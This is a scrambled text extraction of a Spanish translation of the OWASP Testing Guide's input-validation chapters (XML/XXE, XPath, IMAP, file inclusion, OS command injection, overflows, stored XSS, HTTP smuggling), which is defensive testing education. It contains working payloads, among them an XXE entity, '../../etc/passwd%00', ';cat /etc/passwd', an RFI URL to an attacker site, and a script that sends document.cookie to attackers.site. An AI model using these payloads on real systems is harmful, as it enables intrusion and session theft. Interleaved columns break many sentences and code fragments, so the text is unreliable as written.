que la comilla simple y puede utilizarse si el valor del atributo est encerrado
<password>Un6R34kb!e</password>
entre comillas dobles.
<userid>500</userid>
<node attrib=$inputValue/>
Descubrimiento
El primer paso para probar una aplicacin en busca de una vulnerabilidad de As que:
inyeccin XML consiste en intentar insertar metacaracteres XML.
$inputValue = foo
la sustitucin da:
<mail>[email protected]</mail>
</user>
<username>foo<</username>
<mail>[email protected]</mail>
<tagnode><</tagnode>
<username>&foo</username>
<password>Un6R34kb!e</password>
<mail>[email protected]</mail>
<username><![CDATA[]]>]]></username>
</user>
<node>
<html>
<![CDATA[<foo>]]>
$HTMLCode
</node>
</html>
$HTMLCode =
Si el nodo se construye de la siguiente manera: <![CDATA[<]]>script<![CDATA[>]]>alert(xss)<![CDATA[<]]>/scr
ipt<![CDATA[>]]>
<username><![CDATA[<$userName]]></username>
El evaluador puede intentar inyectar una cadena de cierre CDATA ]]> para
tratar de invalidar el documento XML.
</html>
Otras pruebas tiles son las siguientes:
<!DOCTYPE foo [
Durante el proceso, la seccin de delimitadores CDATA es eliminada
generando el siguiente cdigo HTML: <!ELEMENT foo ANY >
<!DOCTYPE foo [
El resultado es que la aplicacin es vulnerable al XSS.
<!ELEMENT foo ANY >
Para probar las vulnerabilidades XXE, uno puede utilizar el siguiente <!DOCTYPE foo [
ingreso:
<!ELEMENT foo ANY >
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM file:///dev/random Una vez que se logra el primer paso, el evaluador tendr alguna
>]><foo>&xxe;</foo> informacin sobre la estructura del documento XML. Entonces, es posible
intentar inyectar datos XML y etiquetas. Mostraremos un ejemplo de
cmo esto puede llevar a un ataque de escalada de privilegios.
la aplicacin construir un nuevo nodo y anexo a la base de datos XML. <!DOCTYPE users [
</user>
<user>
<username>Stefan0</username>
Tome en cuenta que el nodo de nombre de usuario se define con la
<password>w1s3c</password> cardinalidad 1. En este caso, el ataque que hemos mostrado antes (y otros
ataques simples) no funcionarn si el documento XML se valida contra su
<userid>500</userid> DTD antes de que ocurra cualquier procesamiento.
<mail>[email protected]</mail>
</user> Sin embargo, este problema puede ser resuelto si el evaluador controla el
valor de algunos nodos anteriores el nodo ofensivo (el identificador de
<user> usuario, en este ejemplo). De hecho, el evaluador puede comentar en
dichos nodos, mediante la inyeccin de una secuencia de inicio y fin de
<username>tony</username> comentario:
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail><userid>0</userid><mail>s
Username: tony
Se coment en el nodo de nombre de usuario original, dejando slo el que
Password: Un6R34kb!e</password><!--
fue inyectado. Ahora, el documento cumple con las reglas de su DTD.
E-mail: --><userid>0</userid><mail>[email protected]
Herramientas
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
En este caso la base de datos XML final es:
<mail>[email protected]</mail>
Pruebas de inyeccin de SSI (OTG-INPVAL-009)
</user>
Resumen
<user>
Los servidores web suelen dar a los desarrolladores la posibilidad de
<username>Stefan0</username> aadir pequeas piezas de cdigo dinmico dentro de pginas HTML
estticas, sin tener que lidiar con todos los derechos de los lenguajes del
<password>w1s3c</password> servidor o del cliente. Esta caracterstica es encarnada cuando el servidor
incluye (SSI). En la prueba de inyeccin SSI, probamos si es posible
<userid>500</userid> inyectar en los datos de la aplicacin que sern interpretados por
mecanismos del SSI. Una explotacin exitosa de esta vulnerabilidad
<mail>[email protected]</mail>
permite a un atacante inyectar cdigo en pginas HTML o incluso realizar
ejecucin remota de cdigos.
</user>
<user>
Server-Side Includes son directivas que el servidor web analiza antes de
<username>tony</username>
servir la pgina al usuario. Representan una alternativa para escribir
programas CGI o incrustar cdigo utilizando lenguajes de scripting del
<password>Un6R34kb!e</password><!--
</password> lado del servidor, cuando slo hay que realizar tareas muy simples. Las
implementaciones comunes de SSI proporcionan comandos para incluir
<userid>500</userid> archivos externos, configurar e imprimir las variables del entorno CGI del
servidor web y ejecutar scripts CGI externos o comandos del sistema.
<mail>--
><userid>0</userid><mail>[email protected]</mail>
</user> Poner una directiva SSI en un documento HTML esttico es tan fcil como
escribir un pedazo de cdigo como el siguiente:
Esto es similar a las pruebas de vulnerabilidad XSS utilizando Al dar estos pasos se trata, ms que nada, de utilizar grep para encontrar
las palabras clave correctas dentro del cdigo fuente (directivas SSI,
variables del entorno CGI, asignacin de variables que implican ingreso
de datos del usuario, las funciones de filtro y dems).
<script>alert(XSS)</script>
Herramientas
Libros Blancos
GET / HTTP/1.0
Apache Tutorial: Introduction to Server Side Includes: apache.org
Resumen
<?xml version=1.0 encoding=ISO-8859-1?>
XPath es un lenguaje que ha sido diseado y desarrollado, sobre todo,
<users>
para dirigirse a las piezas de un documento XML. En la prueba de
inyeccin XPath, probamos si es posible inyectar la sintaxis de XPath en
<user>
una solicitud interpretada por la aplicacin, permitiendo a un atacante
ejecutar consultas XPath controladas por el usuario. Cuando se explota
<username>gandalf</username>
con xito, esta vulnerabilidad podra permitir a un atacante eludir
mecanismos de autenticacin o informacin sin la debida autorizacin. <password>!c3</password>
<account>admin</account>
<account>guest</account>
Tal como las bases de datos relacionales se acceden a travs del lenguaje
SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta </user>
estndar.
<user>
<username>tony</username>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL
en sus propsitos y usos, un resultado interesante es que los ataques de <password>Un6R34kb!e</password>
inyeccin XPath siguen la misma lgica que los ataques de inyeccin SQL.
En algunos aspectos, XPath es incluso ms poderoso que el SQL estndar,
ya que todo su poder est ya presente en sus especificaciones, mientras
que un gran nmero de tcnicas que pueden utilizarse en un ataque de
inyeccin SQL depende de las caractersticas del dialecto SQL usado por Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la
la base de datos de destino. contrasea es "! c3" sera la siguiente:
string(//user[username/text()=gandalf and
Esto significa que los ataques de inyeccin XPath pueden ser mucho ms password/text()=!c3]/account/text())
adaptables y ubicuos. Otra de las ventajas de un ataque de inyeccin
XPath es que, a diferencia del SQL, no se aplica ningn ACL ya que nuestra
consulta puede acceder a todas las partes del documento XML.
Se ve bastante familiar, no? Utilizando estos parmetros, la consulta se La tcnica de inyeccin IMAP/SMTP es ms eficaz si el servidor de correo
convierte en: no es directamente accesible desde el Internet. Donde una comunicacin
completa con el servidor de correo de acceso restringido sea posible, se
recomienda realizar pruebas directas.
string(//user[username/text()= or 1 = 1 and password/text()= or
1 = 1]/account/text())
Referencias
Libros Blancos
Resumen
Esta amenaza afecta a todas las aplicaciones que se comunican con La figura 1 muestra el flujo de trfico visto generalmente al utilizar
servidores de correo (IMAP/SMTP), generalmente aplicaciones de tecnologas de webmail. Los pasos 1 y 2 son el usuario interactuando con el
webmail. El objetivo de esta prueba es verificar la capacidad de inyectar cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al
comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a cliente webmail e interactuando directamente con los servidores de correo de
que el ingreso de datos no est correctamente desinfectado. acceso restringido (back-end).
Fugas de informacin
Relevo/SPAM
Los parmetros especiales de IMAP que se deben utilizar son: Aada caracteres especiales no standar (i.e.: \, , , @, #, !, |):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=4
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed
6106&startMessage=1
_id=46105&passed_ent_id=0
Elimine el parmetro:
S1 - La aplicacin devuelve un cdigo/mensaje de error. La situacin S2 es ms difcil de probar con xito. El probador debe usar
inyeccin ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicacin no devuelve un cdigo/mensaje de error, pero no
realiza la operacin solicitada.
S3 - La aplicacin no devuelve un cdigo/mensaje de error, y realiza la Por otro lado, la ltima situacin (S3) no es relevante en esta seccin.
operacin solicitada normalmente.
Resultado esperado:
Las situaciones S1 y S2 representan una inyeccin IMAP/SMTP exitosa.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46
225&startMessage=1
Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabtico Una vez que el evaluador ha identificado los parmetros vulnerables y ha
y se requiere un valor numrico): analizado el contexto en el que se ejecutan, la siguiente etapa es explotar
la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te
st&startMessage=1
Esta etapa tiene dos posibles resultados:
ERROR : Bad or malformed request. [2] La inyeccin slo es posible en un estado autenticado: la explotacin
exitosa requiere que el usuario est plenamente autenticado antes de que
Query: FETCH test:test BODY[HEADER] la prueba pueda continuar.
En otras situaciones, el mensaje de error ( "not controlled", no controlado Cuerpo: inyeccin del nuevo comando;
por la aplicacin) contiene el nombre del comando ejecutado, pero leer el
RFC adecuado (vea la seccin de "Referencia") le permitir al evaluador Pie: inicio del comando esperado.
entender qu otros comandos pueden ser ejecutados.
Resultado esperado:
http://www.webappsec.org/projects/articles/121106.pdf
FETCH 4791 BODY[HEADER]
Resumen
En este escenario, la estructura de inyeccin IMAP sera:
Esta seccin describe cmo un evaluador puede comprobar si es posible
introducir cdigo en una pgina web y ejecutarlo con el servidor web.
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
En la prueba de inyeccin de cdigo, un evaluador enva informacin que
es procesada por el servidor web como cdigo dinmico o como un
archivo incluido. Estas pruebas pueden dirigirse a varios motores de
secuencias de scripting del servidor, como ASP o PHP. Una correcta
validacin de la entrada y prcticas de codificacin seguras deben
Lo que generara los siguientes comandos: emplearse para protegerse de estos ataques.
Resultado esperado:
Referencias
RFC 3501 http://www.ietf.org/rfc/rfc3501.txt. Examine el cdigo ASP en busca de informacin ingresada por el usuario
en funciones de ejecucin. El usuario puede ingresar los comandos en el
Vicente Aguilera Daz: MX Injection: Capturing and Exploiting Hidden Mail campo de entrada de datos? Aqu, el cdigo ASP almacena la informacin
Servers - en un archivo y luego lo ejecuta:
<%
Pruebas para determinar la inclusin de documentos locales
If not isEmpty(Request( Data ) ) Then
Resumen
Dim fso, f
La vulnerabilidad de inclusin de documentos permite al atacante incluir un
User input Data is written to a file named data.txt documento, normalmente explotando un mecanismo de inclusin de
documento dinmica implementado en la aplicacin objetivo. La
Set fso = CreateObject(Scripting.FileSystemObject)
vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una
apropiada validacin.
Set f = fso.OpenTextFile(Server.MapPath( data.txt ), 8, True)
Else
%>)))
Cmo probar
Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
Wikipedia - http://www.wikipedia.org
http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene Referencias
suficiente suerte, y en vez de seleccionar la pgina apropiada de la matriz
por su nombre, la secuencia de comandos incluye directamente el Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
parmetro de entrada, es posible incluir archivos arbitrarios en el
servidor. Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Pruebas para la inclusin remota de archivos
alex:x:500:500:alex:/home/alex:/bin/bash
Resumen
margo:x:501:501::/home/margo:/bin/bash
La vulnerabilidad de inclusin de archivos permite que un atacante
incluya un archivo, generalmente, aprovechando un mecanismo de
...
"inclusin dinmica de archivos" implementado en la aplicacin de
Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotacin es un destino. La vulnerabilidad se produce debido al uso de datos
poco ms compleja. Considere el siguiente fragmento del cdigo: suministrados por el usuario sin una validacin adecuada.
En el caso de la sustitucin simple con nombres de archivo arbitrarios no Ejecucin de cdigo en el servidor web.
funcionara, ya que se aade el sufijo 'php'. Para evitarlo, se utiliza una tcnica con
terminadores null bytes. Cmo %00 representa efectivamente el final de la cadena, Ejecucin de cdigo en el lado del cliente como JavaScript que nos llevara a
se ignorar cualquier carcter despus de este byte especial. La siguiente solicitud otros ataques tales como cross site scripting (XSS).
tambin devolver una lista de atacante de los atributos bsicos de los usuarios:
Negacin de servicio (DoS).
Remediacin
La inclusin remota de archivos (tambin conocida como RFI) es el La solucin ms eficaz para eliminar las vulnerabilidades de inclusin de
proceso de incluir archivos remotos a travs de la explotacin de las archivo es evitar pasar datos enviados por el usuario a cualquier
vulnerabilidades en los procedimientos de insercin implementados en la filesystem/framework API. Si esto no es posible, la aplicacin puede
aplicacin. Esta vulnerabilidad se produce, por ejemplo, cuando una mantener una lista blanca de archivos que pueden ser incluidos por la
pgina recibecomo datos, la ruta del archivo que debe estar incluida y pgina y luego utilizar un identificador (por ejemplo, el nmero de ndice)
este dato no ha sido correctamente desinfectado, permitiendo que una para tener acceso al archivo seleccionado. Cualquier solicitud que
URL externa se inyecte. Aunque la mayora de ejemplos apuntan a scripts contenga un identificador invlido ser rechazada, de esta manera no hay
PHP vulnerables, debemos tener en cuenta que tambin es comn en ninguna superficie de ataque para que usuarios malintencionados puedan
tecnologas como JSP, ASP y otras. manipular la ruta.
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no estn Resumen
correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos
buscar scripts que tomen los nombres de archivos como parmetros. Considere el Este artculo describe cmo probar una aplicacin en busca de inyeccin de
siguiente ejemplo PHP: comandos del sistema operativo. El evaluador intentar inyectar un comando de
sistema operativo a travs de una solicitud HTTP a la aplicacin.
include($incfile..php); La Inyeccin de comandos del sistema operativo es una tcnica utilizada a travs de
una interfaz web para ejecutar comandos del sistema operativo en un servidor web.
El usuario provee comandos del sistema operativo a travs de una interfaz web para
ejecutar comandos del sistema operativo. Cualquier interfaz que no est
correctamente desinfectada est sujeta a esta debilidad. Con la habilidad de ejecutar
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se comandos en el sistema operativo, el usuario puede subir programas maliciosos o
realiza una validacin de datos ingresados (por ejemplo, comprobando el incluso obtener contraseas. La inyeccin de comandos del sistema operativo es
ingreso contra una lista blanca), as que este fragmento de cdigo resulta prevenible cuando la seguridad se acenta durante el diseo y desarrollo de las
vulnerable a este tipo de ataque. Considere de hecho la siguiente URL: aplicaciones.
Cmo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou
s_page Al observar un archivo en una aplicacin web, el nombre del archivo a menudo se
muestra en la URL. Perl permite canalizar datos de un proceso hacia una
instruccin abierta. El usuario simplemente puede aadir el smbolo Pipe "|" en el
final del nombre del archivo.
En este caso el archivo remoto va a ser incluido y cualquier cdigo que contenga se
ejecutara en el servidor. Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Referencias
Libros Blancos
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Ejemplo:
Accept-Encoding: gzip,deflate
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Consideremos el caso de una aplicacin que contiene un conjunto de documentos Referer: http://127.0.0.1/WebGoat/attack?Screen=20
que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un
HTTP POST como el siguiente: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5 Si la aplicacin no validase la solicitud, podemos obtener el siguiente resultado:
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Directory of c:\
Remediacin
18/10/2006 00:27 2,675 Dir_Prog.txt
Desinfeccin
18/10/2006 00:28 3,887 Dir_ProgFile.txt
Los formularios de datos y la URL deben desinfectarse de caracteres no
16/11/2006 10:43
vlidos. Una "lista negra" de caracteres es una opcin, pero puede ser
Doc difcil pensar en todos los caracteres contra los que hay que validar.
Tambin pueden haber algunos que no han sido descubiertos todava.
11/11/2006 17:25 Para validar la entrada del usuario se debe crear una "lista blanca" que
contenga slo caracteres permitidos. Caracteres que faltaron, as como las
Documents and Settings amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11
I386
Permisos
14/11/2006 18:51
La aplicacin web y sus componentes deben ejecutarse bajo permisos
h4ck3r estrictos que no permitan la ejecucin de comandos del sistema
operativo. Trate de verificar todas estas informaciones para probar desde
30/09/2005 21:40 25,934 un punto de vista de Caja Gris.
OWASP1.JPG
Prog
Resumen
18/11/2006 11:20
Para conocer ms acerca de las vulnerabilidades de saturacin de bfer,
Program Files consulte las pginas de saturacin de bfer.
16/11/2006 21:12
24/10/2006 18:25
Cmo probar
En este caso, hemos realizado con xito un ataque de inyeccin de OS.
Diferentes tipos de vulnerabilidades de saturacin de bfer tienen
diferentes mtodos de prueba. Aqu estn los mtodos de prueba para los
tipos comunes de vulnerabilidades de saturacin de bfer.
Herramientas
OWASP ZAP
Pruebas de vulnerabilidad de saturacin del heap. con la saturacin de pilas de datos, ya que hay ciertas condiciones que
deben existir en el cdigo de estas vulnerabilidades para que sean
Pruebas de vulnerabilidad de saturacin de pilas de datos. explotables.
Cmo probar
Vea el artculo de la Gua de revisin de cdigo OWASP sobre cmo Los principios de las pruebas de Caja Negra para saturacin de heap son
revisar el cdigo en busca de vulnerabilidades por saturacin de heap o los mismos que se utilizan para la saturacin de pilas de datos. La clave
bfer. est en introducir cadenas de entrada que sean ms largas de lo esperado.
Aunque el proceso de prueba sigue siendo el mismo, los resultados que
son visibles en el depurador son significativamente diferentes. Mientras
que, en el caso de una saturacin de pila de datos, una instruccin de
puntero o sobreescritura SEH sera evidente; esto no sucede en una
condicin de saturacin de heap.
Remediacin
vulnerable(argv[1]);
Pruebas de Caja Gris
return 0;
Al revisar el cdigo, uno debe darse cuenta que hay varias vas por donde
}
las vulnerabilidades asociadas con los heaps pueden surgir. Un cdigo
aparentemente inofensivo a primera vista puede ser vulnerable bajo
ciertas condiciones. Puesto que hay distintas variaciones de esta
vulnerabilidad, cubriremos slo los temas que son predominantes.
La mayora de las veces, los bufers heap son considerados seguros por {
muchos desarrolladores que no dudan en realizar operaciones inseguras
como strcpy () en ellos. El mito de que una saturacin de pila de datos y la
instruccin de sobrescribir el puntero son los nicos medios para
HANDLE hp = HeapCreate(0, 0, 0);
ejecutar un cdigo arbitrario resulta peligroso en caso del cdigo que se
muestra a continuacin:
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a
la etiqueta de lmite adyacente, facilitando la sobrescritura de una
ubicacin de memoria arbitraria con cuatro bytes de datos una vez que
comienza la rutina heap de almacenamiento dinmico.
free(string);
Probar la saturacin de pila de datos
return -1;
Resumen
}
La saturacin de pila de datos se produce cuando se copian datos de
El malloc en la lnea 1 asigna memoria basada en el valor de la longitud, el
tamao variable en bferes de longitud ubicados en la pila de datos del
cual coincide con un entero de 32 bits. En este ejemplo particular, la
programa sin ninguna comprobacin de los lmites.
longitud es controlable por el usuario y se puede fabricar un archivo
TNEF malicioso para ajustar la longitud a '-1', que dara como resultado
malloc (0). Por lo tanto, este malloc asignara un bfer heap pequeo, que
sera de 16 bytes en la mayora de las plataformas de 32 bits (como se Las vulnerabilidades de esta clase se consideran generalmente de alta
indica en malloc.h). severidad, ya que su explotacin permitira, sobre todo, la ejecucin de
cdigo arbitrario o negacin de servicio. Aunque rara vez se encuentra en
plataformas interpretadas, el cdigo escrito en C y lenguajes similares es,
a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi
Y ahora, en la lnea 2, una saturacin de heap se produce en la llamada a
todas las plataformas son vulnerables a saturacin de pila de datos con
fread (). El tercer argumento, en este caso la longitud, se espera que sea
las siguientes excepciones notables:
una variable de size_t. Pero si va a ser '-1', el argumento envuelve a
0xFFFFFFFF, copiando as 0xFFFFFFFF bytes en el bfer de 16 bytes.
#include<stdio.h>
char buff[20];
strcpy(buff,argv[1]);
return 0;
aplicacin, el cual es un proceso complejo y tedioso y utiliza tcnicas de El uso, relativamente ms seguro, de strncpy()tambin puede llevar a una
difuminacin (fuzzing). saturacin de cmulo de datos, ya que slo restringe el nmero de bytes
copiados en el bfer de destino. Si el argumento de tamao que se utiliza para
lograr esto se genera dinmicamente basado en los datos ingresados por el
usuario o no se calcula exactamente dentro de la trayectoria, es posible la
Pruebas de Caja Gris saturacin de bferes de cmulo de datos. Por ejemplo:
void log_create(int severity, char *inpt) {
size=strlen(source)+1
char b[1024];
.
strncpy(dest,source,size)
}
if (severity == 1)
Donde la fuente son datos controlables por el usuario. Un buen ejemplo seria
{ la vulnerabilidad de saturacin de pila de datos samba trans2open.
(http://www.securityfocus.com/archive/1/317615).
strcat(b,Error occurred on);
strcat(b,:);
Las vulnerabilidades tambin pueden aparecer en la URL y desde el cdigo de
strcat(b,inpt); anlisis de direccin. En tales casos, una funcin como memccpy() es
generalmente empleada, ya que copia los datos en un bfer de destino desde la
fuente mientras no se encuentre un carcter especificado. Considere la
funcin:
memccpy(servaddr,path,\);
.
De lo anterior, la lnea strcat(b,inpt) dar lugar a una saturacin de cmulo de
datos si inpt excede los 1024 bytes. Esto no slo demuestra el uso inseguro de
strcat, tambin muestra lo importante que es examinar la longitud de las
secuencias a las que hace referencia un puntero de carcter que se pasa como
argumento a una funcin, en este caso, la longitud de cadena referenciada por
char *inpt. Por lo tanto, siempre es una buena idea rastrear la fuente de los En este caso, la informacin contenida en la ruta de acceso podra ser
argumentos de la funcin y determinar longitudes de cadena al revisar el mayor a 40 bytes antes de que '\' pueda encontrarse. Si esto ocurre , se
cdigo. provocar una saturacin de pila de datos.
Una vulnerabilidad similar se encuentra en el subsistema de Windows Esta seccin describe cmo probar ataques de cadena de formato que
RPCSS (MS03-026). El cdigo vulnerable copi los nombres de rutas de pueden utilizarse para bloquear un programa o ejecutar un cdigo
acceso UNC del servidor en un bfer de tamao fijo, hasta que un '\' fue daino. El problema surge por la utilizacin de datos ingresados por el
encontrado. La longitud del nombre del servidor, en este caso, era usuario, que no han sido filtrados, como el parmetro de formato de
controlable por los usuarios. cadena en ciertas funciones C que realizan el formateo, como printf().
Aparte de revisar manualmente el cdigo de saturacin de pila de datos, Varios lenguajes de estilo C disponen de un formato de salida por medio
tambin pueden ser de gran ayuda las herramientas de anlisis esttico de funciones como printf (), fprintf () etc..
del cdigo. Aunque tienden a generar muchos falsos positivos y apenas
seran capaces de localizar una pequea porcin de defectos, sin duda El formateo se rige a un parmetro de estas funciones como un
ayudan a reducir la sobrecarga asociada con la bsquedas sencillas, como especificador del tipo de formato, normalmente %s, %c etc.. La
los bugs strcpy() y sprintf(). vulnerabilidad se presenta cuando se contactan funciones de formato que
tienen una inadecuada validacin de parmetros y datos controlados por
el usuario.
Aleph One: Smashing the Stack for Fun and Profit: insecure.org
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x
Libros Blancos
thenewsh.com
julianor.tripod.com
vfprintf
En primer lugar, el vector de ataque debe ser constante y debe almacenarse
vprintf en la capa de persistencia. Esto ocurrir nicamente si una validacin de
datos dbil est presente o los datos llegaron al sistema a travs de otro canal
vsprintf como una consola de administracin o directamente a travs de un proceso de
datos restringidos.
vsnprintf
Segundo, una vez que el vector de ataque ha sido "contactado", este necesita
Puede haber varias funciones de formateo que son especficas en la ejecutarse de una manera satisfactoria. Por ejemplo, un ataque XSS incubado
plataforma de desarrollo. Esto tambin debe revisarse en busca de la requiere una validacin de salida de datos dbil para que el script pueda ser
ausencia de cadenas de formato, una vez que se ha entendido su entregado al cliente de una manera ejecutable.
argumento de uso.
particular que encontr para construir un ataque basado en el lado del cliente; pgina resultante o descargue y ejecute el archivo desde el sitio de
este se utiliza generalmente para atacar a un gran nmero de vctimas al confianza.
mismo tiempo (es decir, a todos los usuarios que navegan por el sitio).
<script>document.write(<img
Los componentes de carga de archivos en una aplicacin web permiten al src=http://attackers.site/cv.jpg?+document.cookie+>)</script>
atacante subir archivos corrompidos (imgenes jpg imgenes que explotan CVE-
2004-0200, imgenes png que explotan CVE-2004-0597, archivos ejecutables,
pginas de sitios con componentes activos, etc.).
[2] Dirija a los usuarios a navegar por la pgina vulnerable o espere a que
los usuarios naveguen. Tenga un "oyente" en el servidor anfitrin del sitio
del lado del atacante.para escuchar todas las conexiones entrantes.
Asuntos de cross-site scripting de publicaciones en foros pblicos (vea Pruebas
para Cross site scripting almacenados (OTG-INPVAL-002) para mayor detalle). [3] Cuando los usuarios navegan por la pgina vulnerable, una solicitud
Un atacante podra potencialmente almacenar secuencias de comandos que contiene su cookie (document.cookie se incluye como parte de la URL
malintencionados o el cdigo en un repositorio en el servidor restringido de la solicitada) ser enviada al servidor anfitrin del sitio del atacante, como
aplicacin web (por ejemplo, una base de datos) para que este cdigo de script los siguientes:
se ejecute mediante uno de los usuarios (los usuarios finales, administradores,
etc.). El ataque incubado arquetpico es ejemplificado por una vulnerabilidad de - GET
cross site scripting en un foro de usuarios, cartelera o blog para inyectar cdigo /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
JavaScript en la pgina vulnerable y ser eventualmente procesado y ejecutado
en el navegador del usuario del sitio utilizando el nivel de confianza del sitio %20JSESSIONID=ADIFFERENTVALUE:-
(vulnerable) original en el navegador del usuario. 1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
[1] De manera similar al anterior ejemplo de XSS, utilice un campo de Como tambin debera ser obvio, la habilidad de cambiar el contenido de
pgina web vulnerable a problemas de inyeccin SQL para cambiar un la pgina web en el servidor a travs de cualquier vulnerabilidad que
valor en la base de datos que se utilizara por la aplicacin como ingresos puede ser explotable en el host dar al atacante permisos de escritura en
que se muestran en el sitio sin la filtracin adecuada (esto sera una el webroot, y tambin ser til cuando se quiera plantar un ataque
combinacin de una inyeccin de SQL y un problema XSS). incubado semejante en las pginas del servidor web (en realidad, se trata
de un mtodo de propagacin de la infeccin conocido para algunos
gusanos de servidores web).
Por ejemplo, supongamos que hay un pie de pgina en la base de datos Pruebas de Caja Gris
con todos los pies de pgina para las pginas del sitio web, incluyendo un
campo de nota con el aviso legal que aparece en la parte inferior de cada Las tcnicas de pruebas gris/blancas sern las mismas que se discutieron
pgina web. Puede utilizar la siguiente consulta para inyectar cdigo previamente.
JavaScript en el campo de avisos en el pie de pgina en la base de datos.
UPDATE footer
SET notice = Copyright 1999-2030%20 Para combatir el problema de la "puerta trasera" en ataques del lado del
cliente, la validacin de salida debe ser empleada para que los datos
<script>document.write(\<img contaminados sean codificados antes de mostrarlos al cliente y, por lo tanto,
src=http://attackers.site/cv.jpg?\+document.cookie+\>\)</script> no se ejecuten.
[2] Ahora, cada usuario que navegue por el sitio enviar silenciosamente
sus cookies al sitio del atacante (pasos b.2 al b.4).
Herramientas
XSS-proxy: sourceforge.net
Servidor mal configurado
Paros: parosproxy.org
Algunos servidores web presentan una interfaz de administracin que
Burp Suite: portswigger.net
puede permitir a un atacante cargar componentes activos de su eleccin
en el sitio. Esto podra ser el caso con un servidor Apache Tomcat que no
Metasploit: metasploit.com
obliga a utilizar credenciales fuertes para acceder a su gestor de
aplicaciones web (o si los evaluadores de edicin han sido capaces de
obtener credenciales vlidas para el mdulo de administracin por otros
medios). Referencias
Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site ms sencillo es proporcionado por las redirecciones en las que la direccin
URL de destino depende de algn valor enviado por el usuario.
scripting vulnerability: archives.neohapsis.com
Esta seccin ilustra ejemplos de ataques que aprovechan caractersticas Location: http://victim.com/main.jsp?interface=advanced
especficas del protocolo HTTP, ya sea mediante la explotacin de las
debilidades de la aplicacin web o peculiaridades, en la manera en que los <snip>
diferentes agentes interpretan los mensajes HTTP.
Al recibir este mensaje, el navegador llevar al usuario a la pgina
indicada en el encabezado de ubicacin. Sin embargo, si la aplicacin no
filtra la entrada de usuario, ser posible introducir en el parmetro de la
Esta seccin analizar dos diferentes ataques dirigidos a encabezados
'interfaz' la secuencia %0d%0a, que representa la secuencia CRLF que se
HTTP especficos:
utiliza para separar lneas.
Cmo probar
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 35
Location
Como se mencion en la introduccin, el contrabando HTTP aprovecha POST /target.asp HTTP/1.0 <-- Request #3
las diferentes maneras en que un mensaje HTTP especialmente diseado
puede ser analizado e interpretado por los diferentes agentes xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <--
(navegadores, cachs web, aplicaciones de firewalls). Este relativamente Request #4
nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein,
Ronen Heled y Steve Orrin en 2005. Connection: Keep-Alive
<CRLF>
Host: target
Connection: Keep-Alive Por ejemplo, el protocolo HTTP permite slo un encabezado Content-
Length, pero no especifica cmo manejar un mensaje que tiene dos
Content-Length: 49225 instancias de este encabezado. Algunas implementaciones utilizarn el
primero de ellos mientras que otras preferirn la segunda, limpiando el
<CRLF> camino para ataques de contrabando HTTP. Otro ejemplo es el uso del
encabezado Content-Length en un mensaje GET.
<49152 bytes of garbage>
Libros Blancos
Errores de servidor web
Amit Klein, Divide and Conquer: HTTP Response Splitting, Web Cache
Poisoning Attacks, and RelatedTopics: packetstormsecurity.org Un error comn que podemos ver durante la prueba es el HTTP 404 Not
Found. A menudo este cdigo de error proporciona informacin til sobre
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request el servidor web subyacente y componentes asociados. Por ejemplo:
Smuggling: cgisecurity.com
Not Found
Amit Klein: HTTP Message Splitting, Smuggling and Other Animals:
owasp.org The requested URL /page.html was not found on this server.
